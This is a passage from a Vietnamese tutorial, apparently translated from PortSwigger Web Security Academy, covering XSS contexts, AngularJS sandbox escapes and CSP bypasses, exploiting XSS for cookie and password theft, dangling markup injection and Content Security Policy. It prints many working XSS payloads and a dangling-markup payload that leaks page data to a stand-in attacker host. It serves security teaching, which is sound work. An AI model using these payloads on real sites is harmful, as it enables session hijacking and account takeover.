replaceAll()

replaceWith()

wrap()

wrapInner()

wrapAll()

has()

constructor()

init()

index()

jQuery.parseHTML()

$.parseHTML()

\* Làm sao để ngăn chặn HTML-DOM

Ngoài các biện pháp chung được mô tả trên trang lỗ hổng dựa trên DOM, bạn nên tránh cho phép dữ liệu từ bất kỳ nguồn không đáng tin cậy nào được ghi động vào tài liệu HTML.

**BÀI 5: XSS CONTEXTS (\*)**

Khi kiểm tra XSS phản ánh và lưu trữ, nhiệm vụ chính là xác định ngữ cảnh XSS:

* Vị trí trong phản hồi nơi dữ liệu có thể kiểm soát của kẻ tấn công xuất hiện.
* Bất kỳ xác thực đầu vào hoặc xử lý nào khác đang được ứng dụng thực hiện trên dữ liệu đó.

Dựa trên các chi tiết này, sau đó bạn có thể chọn một hoặc nhiều tải trọng XSS ứng viên và kiểm tra xem chúng có hiệu quả hay không.

Lưu ý

Chúng tôi đã xây dựng một bảng hướng dẫn XSS toàn diện để giúp kiểm tra các ứng dụng web và bộ lọc. Bạn có thể lọc theo sự kiện và thẻ và xem vectơ nào yêu cầu tương tác của người dùng. Bảng hướng dẫn này cũng chứa các lệnh thoát hộp cát AngularJS và nhiều phần khác để hỗ trợ nghiên cứu XSS.

\* XSS giữa thẻ HTML

Khi ngữ cảnh XSS là văn bản giữa các thẻ HTML, bạn cần giới thiệu một số thẻ HTML mới được thiết kế để kích hoạt thực thi JavaScript.

Một số cách hữu ích để thực thi JavaScript là:

<script>alert(document.domain)</script>

<img src=1 onerror=alert(1)>

\* XSS trong thuộc tính thẻ HTML

Khi ngữ cảnh XSS nằm trong giá trị thuộc tính thẻ HTML, đôi khi bạn có thể chấm dứt giá trị thuộc tính, đóng thẻ và giới thiệu một thẻ mới. Ví dụ:

"><script>alert(document.domain)</script>

Trong tình huống này, dấu ngoặc nhọn thường bị chặn hoặc được mã hóa, do đó đầu vào của bạn không thể thoát khỏi thẻ mà nó xuất hiện. Với điều kiện bạn có thể chấm dứt giá trị thuộc tính, thông thường bạn có thể giới thiệu một thuộc tính mới tạo ra ngữ cảnh có thể lập trình được, chẳng hạn như trình xử lý sự kiện. Ví dụ:

" autofocus onfocus=alert(document.domain) x="

Tải trọng ở trên tạo ra sự kiện onfocus sẽ thực thi JavaScript khi phần tử nhận được tiêu điểm và cũng thêm thuộc tính tự động lấy nét để cố gắng kích hoạt sự kiện onfocus tự động mà không cần bất kỳ tương tác nào của người dùng. Cuối cùng, nó thêm x=" để sửa chữa đánh dấu sau một cách nhẹ nhàng.

Đôi khi ngữ cảnh XSS nằm trong một loại thuộc tính thẻ HTML mà bản thân nó có thể tạo ra ngữ cảnh có thể lập trình được. Ở đây, bạn có thể thực thi JavaScript mà không cần phải chấm dứt giá trị thuộc tính. Ví dụ, nếu ngữ cảnh XSS nằm trong thuộc tính href của thẻ neo, bạn có thể sử dụng giao thức giả javascript để thực thi tập lệnh. Ví dụ:

<a href="javascript:alert(document.domain)">

Bạn có thể gặp các trang web mã hóa dấu ngoặc nhọn nhưng vẫn cho phép bạn chèn thuộc tính. Đôi khi, các thao tác chèn này có thể thực hiện được ngay cả trong các thẻ thường không tự động kích hoạt sự kiện, chẳng hạn như thẻ chính tắc. Bạn có thể khai thác hành vi này bằng cách sử dụng các phím truy cập và tương tác của người dùng trên Chrome. Các phím truy cập cho phép bạn cung cấp các phím tắt tham chiếu đến một phần tử cụ thể. Thuộc tính accesskey cho phép bạn xác định một chữ cái, khi được nhấn kết hợp với các phím khác (các phím này thay đổi trên các nền tảng khác nhau), sẽ khiến các sự kiện kích hoạt. Trong phòng thí nghiệm tiếp theo, bạn có thể thử nghiệm với các phím truy cập và khai thác thẻ chính tắc. Bạn có thể khai thác XSS trong các trường nhập liệu ẩn bằng cách sử dụng một kỹ thuật do PortSwigger Research phát minh.

\* XSS trong JS

Khi ngữ cảnh XSS là một số JavaScript hiện có trong phản hồi, nhiều tình huống khác nhau có thể phát sinh, với nhiều kỹ thuật khác nhau cần thiết để thực hiện khai thác thành công.

- Chấm dứt tập lệnh hiện có

Trong trường hợp đơn giản nhất, có thể chỉ cần đóng thẻ script đang bao quanh JavaScript hiện có và thêm một số thẻ HTML mới sẽ kích hoạt thực thi JavaScript. Ví dụ, nếu ngữ cảnh XSS như sau:

<script>

...

var input = 'controllable data here';

...

</script>

sau đó bạn có thể sử dụng đoạn mã sau để thoát khỏi JavaScript hiện có và thực thi JavaScript của riêng bạn:

</script><img src=1 onerror=alert(document.domain)>

Lý do điều này hiệu quả là trình duyệt đầu tiên thực hiện phân tích cú pháp HTML để xác định các thành phần trang bao gồm các khối tập lệnh và chỉ sau đó thực hiện phân tích cú pháp JavaScript để hiểu và thực thi các tập lệnh được nhúng. Tải trọng trên để lại tập lệnh gốc bị hỏng, với một chuỗi ký tự chưa kết thúc. Nhưng điều đó không ngăn chặn tập lệnh tiếp theo được phân tích cú pháp và thực thi theo cách thông thường.

- Thoát khỏi chuỗi JS:

Trong trường hợp ngữ cảnh XSS nằm bên trong một chuỗi ký tự được trích dẫn, thường có thể thoát khỏi chuỗi và thực thi JavaScript trực tiếp. Điều cần thiết là phải sửa chữa tập lệnh theo ngữ cảnh XSS, vì bất kỳ lỗi cú pháp nào ở đó sẽ ngăn toàn bộ tập lệnh thực thi.

Một số cách hữu ích để thoát khỏi một chuỗi ký tự là:

'-alert(document.domain)-'

';alert(document.domain)//

Một số ứng dụng cố gắng ngăn chặn đầu vào thoát khỏi chuỗi JavaScript bằng cách thoát bất kỳ ký tự dấu ngoặc đơn nào bằng dấu gạch chéo ngược. Dấu gạch chéo ngược trước một ký tự cho trình phân tích cú pháp JavaScript biết rằng ký tự đó phải được diễn giải theo nghĩa đen, chứ không phải là một ký tự đặc biệt như ký tự kết thúc chuỗi. Trong tình huống này, các ứng dụng thường mắc lỗi không thoát khỏi chính ký tự dấu gạch chéo ngược. Điều này có nghĩa là kẻ tấn công có thể sử dụng ký tự dấu gạch chéo ngược của riêng chúng để vô hiệu hóa dấu gạch chéo ngược do ứng dụng thêm vào.

Ví dụ, giả sử đầu vào:

';alert(document.domain)//

Được chuyển đổi thành:

\';alert(document.domain)//

Giờ bạn có thể sử dụng tải trọng thay thế:

\';alert(document.domain)//

Nó sẽ được biến đổi thành:

[\\';alert(document.domain)//](file:///\\';alert(document.domain)//)

Ở đây, dấu gạch chéo ngược đầu tiên có nghĩa là dấu gạch chéo ngược thứ hai được hiểu theo nghĩa đen chứ không phải là một ký tự đặc biệt. Điều này có nghĩa là trích dẫn hiện được hiểu là dấu kết thúc chuỗi và do đó cuộc tấn công thành công.

Một số trang web làm cho XSS trở nên khó khăn hơn bằng cách hạn chế các ký tự mà bạn được phép sử dụng. Điều này có thể ở cấp độ trang web hoặc bằng cách triển khai WAF ngăn không cho các yêu cầu của bạn đến được trang web. Trong những tình huống này, bạn cần thử nghiệm các cách khác để gọi các hàm bỏ qua các biện pháp bảo mật này. Một cách để thực hiện điều này là sử dụng câu lệnh throw với trình xử lý ngoại lệ. Điều này cho phép bạn truyền đối số cho một hàm mà không cần sử dụng dấu ngoặc đơn. Đoạn mã sau gán hàm alert() cho trình xử lý ngoại lệ toàn cục và câu lệnh throw truyền 1 cho trình xử lý ngoại lệ (trong trường hợp này là alert). Kết quả cuối cùng là hàm alert() được gọi với 1 làm đối số.

onerror=alert;throw 1

Có nhiều cách sử dụng kỹ thuật này để gọi các hàm không có dấu ngoặc đơn.

Bài thực hành tiếp theo sẽ trình bày một trang web lọc một số ký tự nhất định. Bạn sẽ phải sử dụng các kỹ thuật tương tự như những kỹ thuật được mô tả ở trên để giải quyết vấn đề này.

- Sử dụng mã hóa HTML

Khi ngữ cảnh XSS là một số JavaScript hiện có trong thuộc tính thẻ được trích dẫn, chẳng hạn như trình xử lý sự kiện, có thể sử dụng mã hóa HTML để giải quyết một số bộ lọc đầu vào.

Khi trình duyệt đã phân tích các thẻ và thuộc tính HTML trong phản hồi, trình duyệt sẽ thực hiện giải mã HTML các giá trị thuộc tính thẻ trước khi chúng được xử lý thêm. Nếu ứng dụng phía máy chủ chặn hoặc khử trùng một số ký tự cần thiết để khai thác XSS thành công, bạn thường có thể bỏ qua xác thực đầu vào bằng cách mã hóa HTML các ký tự đó.

Ví dụ: nếu ngữ cảnh XSS như sau:

<a href="#" onclick="... var input='controllable data here'; ...">

và ứng dụng chặn hoặc thoát các ký tự dấu nháy đơn, bạn có thể sử dụng đoạn mã sau để thoát khỏi chuỗi JavaScript và thực thi tập lệnh của riêng bạn:

&apos;-alert(document.domain)-&apos;

Chuỗi &apos; là một thực thể HTML biểu diễn dấu nháy đơn hoặc dấu nháy đơn. Vì trình duyệt HTML giải mã giá trị của thuộc tính onclick trước khi JavaScript được diễn giải, các thực thể được giải mã thành dấu ngoặc kép, trở thành dấu phân cách chuỗi và do đó cuộc tấn công thành công.

- XSS trong mẫu chữ JS:

JavaScript template literals là chuỗi ký tự cho phép nhúng các biểu thức JavaScript. Các biểu thức nhúng được đánh giá và thường được nối vào văn bản xung quanh. Template literals được đóng gói trong dấu ngoặc kép ngược thay vì dấu ngoặc kép thông thường và các biểu thức nhúng được xác định bằng cú pháp ${...}.

For example, the following script will print a welcome message that includes the user's display name:

document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;

Khi ngữ cảnh XSS nằm trong một mẫu JavaScript literal, không cần phải chấm dứt literal. Thay vào đó, bạn chỉ cần sử dụng cú pháp ${...} để nhúng một biểu thức JavaScript sẽ được thực thi khi literal được xử lý. Ví dụ, nếu ngữ cảnh XSS như sau:

<script>

...

var input = `controllable data here`;

...

</script>

sau đó bạn có thể sử dụng đoạn mã sau để thực thi JavaScript mà không cần chấm dứt mẫu ký tự:

${alert(document.domain)}

**BÀI 6: XSS thông qua việc chèn mầu chèn mẫu phía máy khách (\*)**

Một số trang web sử dụng khuôn khổ mẫu phía máy khách, chẳng hạn như AngularJS, để hiển thị động các trang web. Nếu chúng nhúng dữ liệu đầu vào của người dùng vào các mẫu này theo cách không an toàn, kẻ tấn công có thể chèn các biểu thức mẫu độc hại của riêng chúng để khởi chạy một cuộc tấn công XSS.

Trong phần này, chúng ta sẽ xem xét các lỗ hổng tiêm mẫu phía máy khách và cách bạn có thể khai thác chúng cho các cuộc tấn công XSS. Kỹ thuật tấn công này được nhóm nghiên cứu của chúng tôi tiên phong - đọc thêm trong XSS không có HTML: Tiêm mẫu phía máy khách với AngularJS. Mặc dù tiêm mẫu phía máy khách là một vấn đề chung, chúng tôi sẽ tập trung vào các ví dụ từ khuôn khổ AngularJS vì đây là vấn đề phổ biến nhất. Chúng tôi sẽ mô tả cách bạn có thể tạo ra các khai thác thoát khỏi hộp cát AngularJS và cách bạn có thể sử dụng các tính năng AngularJS để bỏ qua chính sách bảo mật nội dung (CSP).

\* Việc tiêm mẫu phía client là gì ?

Lỗ hổng tiêm mẫu phía máy khách phát sinh khi các ứng dụng sử dụng khuôn khổ khuôn mẫu phía máy khách nhúng động dữ liệu đầu vào của người dùng vào các trang web. Khi kết xuất một trang, khuôn khổ sẽ quét trang để tìm biểu thức mẫu và thực thi bất kỳ biểu thức nào mà nó gặp phải. Kẻ tấn công có thể khai thác lỗ hổng này bằng cách cung cấp biểu thức mẫu độc hại khởi chạy một cuộc tấn công tập lệnh chéo trang (XSS).

\* Angular JS sanbox là gì?

Sandbox AngularJS là một cơ chế ngăn chặn truy cập vào các đối tượng có khả năng gây nguy hiểm, chẳng hạn như window hoặc document, trong các biểu thức mẫu AngularJS. Nó cũng ngăn chặn truy cập vào các thuộc tính có khả năng gây nguy hiểm, chẳng hạn như \_\_proto\_\_. Mặc dù nhóm AngularJS không coi đây là ranh giới bảo mật, nhưng cộng đồng nhà phát triển nói chung lại nghĩ khác. Mặc dù việc bỏ qua sandbox ban đầu rất khó khăn, nhưng các nhà nghiên cứu bảo mật đã phát hiện ra nhiều cách để thực hiện điều đó. Do đó, cuối cùng nó đã bị xóa khỏi AngularJS ở phiên bản 1.6. Tuy nhiên, nhiều ứng dụng cũ vẫn sử dụng các phiên bản AngularJS cũ hơn và có thể dễ bị tấn công.

\* Angular JS sanbox hoạt động như thế nào?

Sandbox hoạt động bằng cách phân tích cú pháp biểu thức, viết lại JavaScript, sau đó sử dụng nhiều hàm khác nhau để kiểm tra xem mã được viết lại có chứa bất kỳ đối tượng nguy hiểm nào không. Ví dụ: hàm EnsureSafeObject() kiểm tra xem một đối tượng đã cho có tham chiếu chính nó hay không. Đây là một cách để phát hiện đối tượng cửa sổ, ví dụ. Hàm dựng Function được phát hiện theo cách tương tự, bằng cách kiểm tra xem thuộc tính của hàm dựng có tham chiếu đến chính nó hay không.

Hàm EnsureSafeMemberName() kiểm tra từng quyền truy cập thuộc tính của đối tượng và nếu đối tượng đó chứa các thuộc tính nguy hiểm như \_\_proto\_\_ hoặc \_\_lookupGetter\_\_ thì đối tượng sẽ bị chặn. Hàm EnsureSafeFunction() ngăn chặn việc gọi call(), apply(), bind() hoặc constructor().

Bạn có thể tự mình xem sandbox hoạt động bằng cách truy cập fiddle này và đặt điểm dừng tại dòng 13275 của tệp angular.js. Biến fnString chứa mã đã viết lại của bạn, do đó, bạn có thể xem AngularJS chuyển đổi mã đó như thế nào.

\* Thoát khỏi Angular JS hoạt động như thế nào?

Thoát khỏi hộp cát liên quan đến việc lừa hộp cát nghĩ rằng biểu thức độc hại là lành tính. Thoát khỏi hộp cát nổi tiếng nhất sử dụng hàm charAt() đã sửa đổi trên toàn cục trong một biểu thức:

'a'.constructor.prototype.charAt=[].join

Khi mới phát hiện, AngularJS không ngăn chặn được sự thay đổi này. Cuộc tấn công hoạt động bằng cách ghi đè hàm bằng phương thức [].join, khiến hàm charAt() trả về tất cả các ký tự được gửi đến nó, thay vì một ký tự đơn lẻ cụ thể. Do logic của hàm isIdent() trong AngularJS, nó so sánh những gì nó nghĩ là một ký tự đơn lẻ với nhiều ký tự. Vì các ký tự đơn lẻ luôn nhỏ hơn nhiều ký tự, nên hàm isIdent() luôn trả về true, như được chứng minh bằng ví dụ sau:

isIdent = function(ch) {

return ('a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || '\_' === ch || ch === '$');

}

isIdent('x9=9a9l9e9r9t9(919)')

Sau khi hàm isIdent() bị lừa, bạn có thể chèn JavaScript độc hại. Ví dụ, một biểu thức như $eval('x=alert(1)') sẽ được phép vì AngularJS coi mọi ký tự là một định danh. Lưu ý rằng chúng ta cần sử dụng hàm $eval() của AngularJS vì việc ghi đè hàm charAt() sẽ chỉ có hiệu lực sau khi mã được bảo vệ được thực thi. Kỹ thuật này sau đó sẽ bỏ qua bảo vệ và cho phép thực thi JavaScript tùy ý. PortSwigger Research đã phá vỡ bảo vệ AngularJS một cách toàn diện, nhiều lần.

\* Xây dựng lối thoát sandbox Angular nâng cao

Vậy là bạn đã biết cách thoát khỏi hộp cát cơ bản hoạt động như thế nào, nhưng bạn có thể gặp phải các trang web hạn chế hơn về các ký tự mà chúng cho phép. Ví dụ: một trang web có thể ngăn bạn sử dụng dấu ngoặc kép hoặc dấu ngoặc đơn. Trong trường hợp này, bạn cần sử dụng các hàm như String.fromCharCode() để tạo các ký tự của mình. Mặc dù AngularJS ngăn truy cập vào hàm tạo String trong một biểu thức, nhưng bạn có thể giải quyết vấn đề này bằng cách sử dụng thuộc tính hàm tạo của một chuỗi thay thế. Rõ ràng là điều này yêu cầu một chuỗi, vì vậy để xây dựng một cuộc tấn công như thế này, bạn sẽ cần tìm cách tạo chuỗi mà không sử dụng dấu ngoặc đơn hoặc dấu ngoặc kép.

Trong một lệnh thoát khỏi hộp cát tiêu chuẩn, bạn sẽ sử dụng $eval() để thực thi tải trọng JavaScript của mình, nhưng trong phòng thí nghiệm bên dưới, hàm $eval() không được xác định. May mắn thay, chúng ta có thể sử dụng bộ lọc orderBy thay thế. Cú pháp thông thường của bộ lọc orderBy như sau:

[123]|orderBy:'Some string'

Lưu ý rằng toán tử | có ý nghĩa khác với trong JavaScript. Thông thường, đây là phép toán OR bitwise, nhưng trong AngularJS, nó biểu thị phép toán lọc. Trong đoạn mã trên, chúng ta đang gửi mảng [123] ở bên trái đến bộ lọc orderBy ở bên phải. Dấu hai chấm biểu thị đối số để gửi đến bộ lọc, trong trường hợp này là một chuỗi. Bộ lọc orderBy thường được sử dụng để sắp xếp một đối tượng, nhưng nó cũng chấp nhận một biểu thức, nghĩa là chúng ta có thể sử dụng nó để truyền tải trọng.

Bây giờ bạn sẽ có tất cả các công cụ cần thiết để giải quyết bài thực hành tiếp theo.

\* Cách bỏ qua AngularJS CSP hoạt động như thế nào?

Bỏ qua chính sách bảo mật nội dung (CSP) hoạt động theo cách tương tự như thoát khỏi hộp cát chuẩn, nhưng thường liên quan đến một số lệnh chèn HTML. Khi chế độ CSP hoạt động trong AngularJS, nó phân tích cú pháp các biểu thức mẫu theo cách khác và tránh sử dụng hàm tạo Hàm. Điều này có nghĩa là thoát khỏi hộp cát chuẩn được mô tả ở trên sẽ không còn hoạt động nữa.

Tùy thuộc vào chính sách cụ thể, CSP sẽ chặn các sự kiện JavaScript. Tuy nhiên, AngularJS định nghĩa các sự kiện riêng của mình có thể được sử dụng thay thế. Khi ở bên trong một sự kiện, AngularJS định nghĩa một đối tượng $event đặc biệt, chỉ tham chiếu đến đối tượng sự kiện của trình duyệt. Bạn có thể sử dụng đối tượng này để thực hiện bỏ qua CSP. Trên Chrome, có một thuộc tính đặc biệt trên đối tượng $event/event được gọi là path. Thuộc tính này chứa một mảng các đối tượng khiến sự kiện được thực thi. Thuộc tính cuối cùng luôn là đối tượng window, chúng ta có thể sử dụng để thực hiện thoát khỏi hộp cát. Bằng cách truyền mảng này cho bộ lọc orderBy, chúng ta có thể liệt kê mảng và sử dụng phần tử cuối cùng (đối tượng window) để thực thi một hàm toàn cục, chẳng hạn như alert(). Mã sau đây minh họa điều này:

<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">

Lưu ý rằng hàm from() được sử dụng, cho phép bạn chuyển đổi một đối tượng thành một mảng và gọi một hàm đã cho (được chỉ định trong đối số thứ hai) trên mọi phần tử của mảng đó. Trong trường hợp này, chúng ta đang gọi hàm alert(). Chúng ta không thể gọi hàm trực tiếp vì hộp cát AngularJS sẽ phân tích cú pháp mã và phát hiện ra rằng đối tượng window đang được sử dụng để gọi một hàm. Thay vào đó, sử dụng hàm from() sẽ ẩn hiệu quả đối tượng window khỏi hộp cát, cho phép chúng ta đưa mã độc vào.

- Bỏ qua CSP bằng lệnh thoát khỏi hộp cát AngularJS

Bài lab tiếp theo này sử dụng giới hạn độ dài, do đó vector ở trên sẽ không hoạt động. Để khai thác bài lab, bạn cần nghĩ ra nhiều cách khác nhau để ẩn đối tượng cửa sổ khỏi hộp cát AngularJS. Một cách để thực hiện điều này là sử dụng hàm array.map() như sau:

[1].map(alert)

map() chấp nhận một hàm làm đối số và sẽ gọi hàm đó cho từng mục trong mảng. Điều này sẽ bỏ qua hộp cát vì tham chiếu đến hàm alert() đang được sử dụng mà không tham chiếu rõ ràng đến cửa sổ. Để giải quyết bài tập, hãy thử nhiều cách khác nhau để thực thi alert() mà không kích hoạt phát hiện cửa sổ của AngularJS.

\* Cách ngăn chặn:

Để ngăn chặn các lỗ hổng tiêm mẫu phía máy khách, hãy tránh sử dụng dữ liệu đầu vào không đáng tin cậy của người dùng để tạo mẫu hoặc biểu thức. Nếu điều này không khả thi, hãy cân nhắc lọc cú pháp biểu thức mẫu khỏi dữ liệu đầu vào của người dùng trước khi nhúng vào mẫu phía máy khách.

Lưu ý rằng mã hóa HTML không đủ để ngăn chặn các cuộc tấn công tiêm mẫu phía máy khách, vì các khung thực hiện giải mã HTML của nội dung có liên quan trước khi định vị và thực thi các biểu thức mẫu.

**BÀI 7: KHAI THÁC LỖ HỔNG XSS (\*)**

Cách truyền thống để chứng minh rằng bạn đã tìm thấy lỗ hổng mã lệnh chéo trang là tạo một cửa sổ bật lên bằng hàm alert(). Điều này không phải vì XSS có liên quan gì đến cửa sổ bật lên; mà chỉ đơn giản là cách chứng minh rằng bạn có thể thực thi JavaScript tùy ý trên một miền nhất định. Bạn có thể thấy một số người sử dụng alert(document.domain). Đây là cách để làm rõ JavaScript đang thực thi trên miền nào.

Đôi khi bạn sẽ muốn đi xa hơn và chứng minh rằng lỗ hổng XSS là mối đe dọa thực sự bằng cách cung cấp một khai thác đầy đủ. Trong phần này, chúng ta sẽ khám phá ba trong số những cách phổ biến và mạnh mẽ nhất để khai thác lỗ hổng XSS.

\* KHAI THÁC XSS ĐỂ ĐÁNH CẮP COOKIE

Đánh cắp cookie là cách truyền thống để khai thác XSS. Hầu hết các ứng dụng web sử dụng cookie để xử lý phiên. Bạn có thể khai thác lỗ hổng cross-site scripting để gửi cookie của nạn nhân đến tên miền của riêng bạn, sau đó tự tay đưa cookie vào trình duyệt và mạo danh nạn nhân.

Trên thực tế, cách tiếp cận này có một số hạn chế đáng kể:

* Nạn nhân có thể không đăng nhập.
* Nhiều ứng dụng ẩn cookie của họ khỏi JavaScript bằng cách sử dụng cờ HttpOnly.
* Các phiên có thể bị khóa đối với các yếu tố bổ sung như địa chỉ IP của người dùng.
* Phiên có thể hết thời gian trước khi bạn có thể chiếm đoạt nó.

\* KHAI THÁC XSS ĐỂ LẤY MẬT KHẨU

Ngày nay, nhiều người dùng có trình quản lý mật khẩu tự động điền mật khẩu của họ. Bạn có thể tận dụng lợi thế này bằng cách tạo một mục nhập mật khẩu, đọc mật khẩu đã tự động điền và gửi đến tên miền của riêng bạn. Kỹ thuật này tránh được hầu hết các vấn đề liên quan đến việc đánh cắp cookie và thậm chí có thể truy cập vào mọi tài khoản khác mà nạn nhân đã sử dụng lại cùng một mật khẩu.

Nhược điểm chính của kỹ thuật này là nó chỉ hoạt động trên những người dùng có trình quản lý mật khẩu thực hiện tự động điền mật khẩu. (Tất nhiên, nếu người dùng không lưu mật khẩu, bạn vẫn có thể cố gắng lấy được mật khẩu của họ thông qua một cuộc tấn công lừa đảo tại chỗ, nhưng không hoàn toàn giống nhau.)

\* KHAI THÁC XSS ĐỂ THỰC HIÊN CSRF

Bất cứ điều gì người dùng hợp pháp có thể làm trên một trang web, bạn cũng có thể làm với XSS. Tùy thuộc vào trang web bạn đang nhắm mục tiêu, bạn có thể khiến nạn nhân gửi tin nhắn, chấp nhận yêu cầu kết bạn, cam kết mở cửa hậu vào kho lưu trữ mã nguồn hoặc chuyển một số Bitcoin.

Một số trang web cho phép người dùng đã đăng nhập thay đổi địa chỉ email của họ mà không cần nhập lại mật khẩu. Nếu bạn tìm thấy lỗ hổng XSS, bạn có thể kích hoạt chức năng này để thay đổi địa chỉ email của nạn nhân thành địa chỉ mà bạn kiểm soát, sau đó kích hoạt đặt lại mật khẩu để có quyền truy cập vào tài khoản.

Loại khai thác này thường được gọi là giả mạo yêu cầu chéo trang (CSRF), điều này hơi khó hiểu vì CSRF cũng có thể xảy ra như một lỗ hổng độc lập. Khi CSRF xảy ra như một lỗ hổng độc lập, nó có thể được vá bằng các chiến lược như mã thông báo chống CSRF. Tuy nhiên, các chiến lược này không cung cấp bất kỳ biện pháp bảo vệ nào nếu lỗ hổng XSS cũng hiện diện.

**BÀI 8: DANGLING MARKUP INJECTION (\*)**

Trong phần này, chúng tôi sẽ giải thích về tấn công dangling markup injection, cách thức hoạt động của một khai thác thông thường và cách ngăn chặn các cuộc tấn công dangling markup.

\*DANGLING MARKUP INJECTION LÀ GÌ?

Dangling markup injection là một kỹ thuật để thu thập dữ liệu xuyên miền trong những tình huống mà không thể thực hiện tấn công cross-site scripting toàn diện.

Giả sử một ứng dụng nhúng dữ liệu có thể kiểm soát được của kẻ tấn công vào phản hồi của nó theo cách không an toàn:

<input type="text" name="input" value="CONTROLLABLE DATA HERE

Giả sử ứng dụng không lọc hoặc thoát khỏi các ký tự > hoặc ". Kẻ tấn công có thể sử dụng cú pháp sau để thoát khỏi giá trị thuộc tính được trích dẫn và thẻ bao quanh, rồi quay lại ngữ cảnh HTML:

">

Trong tình huống này, kẻ tấn công sẽ cố gắng thực hiện XSS. Nhưng giả sử rằng một cuộc tấn công XSS thông thường không thể thực hiện được do bộ lọc đầu vào, chính sách bảo mật nội dung hoặc các trở ngại khác. Ở đây, vẫn có thể thực hiện một cuộc tấn công tiêm mã đánh dấu lơ lửng bằng cách sử dụng một tải trọng như sau:

"><img src='//attacker-website.com?

Tải trọng này tạo thẻ img và xác định phần đầu của thuộc tính src chứa URL trên máy chủ của kẻ tấn công. Lưu ý rằng tải trọng của kẻ tấn công không đóng thuộc tính src, thuộc tính này vẫn "treo". Khi trình duyệt phân tích phản hồi, trình duyệt sẽ xem trước cho đến khi gặp dấu ngoặc kép đơn để chấm dứt thuộc tính. Mọi thứ cho đến ký tự đó sẽ được coi là một phần của URL và sẽ được gửi đến máy chủ của kẻ tấn công trong chuỗi truy vấn URL. Bất kỳ ký tự nào không phải chữ và số, bao gồm cả ký tự xuống dòng, sẽ được mã hóa URL.

Hậu quả của cuộc tấn công là kẻ tấn công có thể nắm bắt một phần phản hồi của ứng dụng sau điểm tiêm, có thể chứa dữ liệu nhạy cảm. Tùy thuộc vào chức năng của ứng dụng, điều này có thể bao gồm mã thông báo CSRF, tin nhắn email hoặc dữ liệu tài chính.

Bất kỳ thuộc tính nào tạo ra yêu cầu bên ngoài đều có thể được sử dụng để đánh dấu treo.

Bài thực hành tiếp theo này khó giải quyết vì tất cả các yêu cầu bên ngoài đều bị chặn. Tuy nhiên, có một số thẻ nhất định cho phép bạn lưu trữ dữ liệu và truy xuất dữ liệu đó từ máy chủ bên ngoài sau. Việc giải quyết bài tập này có thể đòi hỏi sự tương tác của người dùng.

**Bài 9: Chính sách bảo mật nội dung (\*)**

Trong phần này, chúng tôi sẽ giải thích chính sách bảo mật nội dung là gì và mô tả cách sử dụng CSP để giảm thiểu một số cuộc tấn công phổ biến.

\* CSP là gì ?

CSP là một cơ chế bảo mật của trình duyệt nhằm mục đích giảm thiểu XSS và một số cuộc tấn công khác. Nó hoạt động bằng cách hạn chế các tài nguyên (như tập lệnh và hình ảnh) mà một trang có thể tải và hạn chế liệu một trang có thể được đóng khung bởi các trang khác hay không.

Để bật CSP, phản hồi cần bao gồm tiêu đề phản hồi HTTP có tên là Content-Security-Policy với giá trị chứa chính sách. Bản thân chính sách bao gồm một hoặc nhiều chỉ thị, được phân tách bằng dấu chấm phẩy.

\* Giảm thiểu các cuộc tấn công XSS bằng CSP

Chỉ thị sau đây sẽ chỉ cho phép các tập lệnh được tải từ cùng nguồn gốc với chính trang đó:

script-src 'self'

Chỉ thị sau đây sẽ chỉ cho phép tải các tập lệnh từ một miền cụ thể:

script-src <https://scripts.normal-website.com>

Cần phải cẩn thận khi cho phép các tập lệnh từ các miền bên ngoài. Nếu có bất kỳ cách nào để kẻ tấn công kiểm soát nội dung được phục vụ từ miền bên ngoài, thì chúng có thể thực hiện một cuộc tấn công. Ví dụ, các mạng phân phối nội dung (CDN) không sử dụng URL theo từng khách hàng, chẳng hạn như ajax.googleapis.com, không nên được tin cậy, vì bên thứ ba có thể đưa nội dung vào miền của họ.

Ngoài việc đưa các tên miền cụ thể vào danh sách trắng, chính sách bảo mật nội dung còn cung cấp hai cách khác để chỉ định các tài nguyên đáng tin cậy: nonce và hash:

* Chỉ thị CSP có thể chỉ định một nonce (giá trị ngẫu nhiên) và cùng một giá trị phải được sử dụng trong thẻ tải tập lệnh. Nếu các giá trị không khớp, thì tập lệnh sẽ không thực thi. Để có hiệu quả như một biện pháp kiểm soát, nonce phải được tạo an toàn trên mỗi lần tải trang và không thể bị kẻ tấn công đoán được.
* Chỉ thị CSP có thể chỉ định một hàm băm của nội dung tập lệnh đáng tin cậy. Nếu hàm băm của tập lệnh thực tế không khớp với giá trị được chỉ định trong chỉ thị, thì tập lệnh sẽ không thực thi. Nếu nội dung của tập lệnh thay đổi, thì tất nhiên bạn sẽ cần cập nhật giá trị băm được chỉ định trong chỉ thị.

CSP thường chặn các tài nguyên như tập lệnh. Tuy nhiên, nhiều CSP cho phép yêu cầu hình ảnh. Điều này có nghĩa là bạn thường có thể sử dụng các phần tử img để gửi yêu cầu đến các máy chủ bên ngoài nhằm tiết lộ mã thông báo CSRF, ví dụ.

Một số trình duyệt, chẳng hạn như Chrome, có chức năng giảm thiểu đánh dấu lủng lẳng tích hợp sẽ chặn các yêu cầu chứa một số ký tự nhất định, chẳng hạn như các dòng mới thô, chưa mã hóa hoặc dấu ngoặc nhọn.

Một số chính sách hạn chế hơn và ngăn chặn mọi hình thức yêu cầu bên ngoài. Tuy nhiên, vẫn có thể vượt qua những hạn chế này bằng cách tạo ra một số tương tác của người dùng. Để bỏ qua hình thức chính sách này, bạn cần chèn một phần tử HTML, khi nhấp vào, sẽ lưu trữ và gửi mọi thứ được bao quanh bởi phần tử đã chèn đến máy chủ bên ngoài.

\* Giảm thiểu các cuộc tấn công dangling markup bằng CSP

Chỉ thị sau đây sẽ chỉ cho phép tải hình ảnh từ cùng nguồn gốc với chính trang đó:

img-src 'self'

Chỉ thị sau đây sẽ chỉ cho phép tải hình ảnh từ một miền cụ thể:

img-src https://images.normal-website.com

Lưu ý rằng các chính sách này sẽ ngăn chặn một số khai thác đánh dấu dangling, vì một cách dễ dàng để thu thập dữ liệu mà không cần tương tác của người dùng là sử dụng thẻ img. Tuy nhiên, nó sẽ không ngăn chặn các khai thác khác, chẳng hạn như những khai thác chèn thẻ neo với thuộc tính href dangling.

\* Bỏ qua CSP bằng cách chèn chính sách

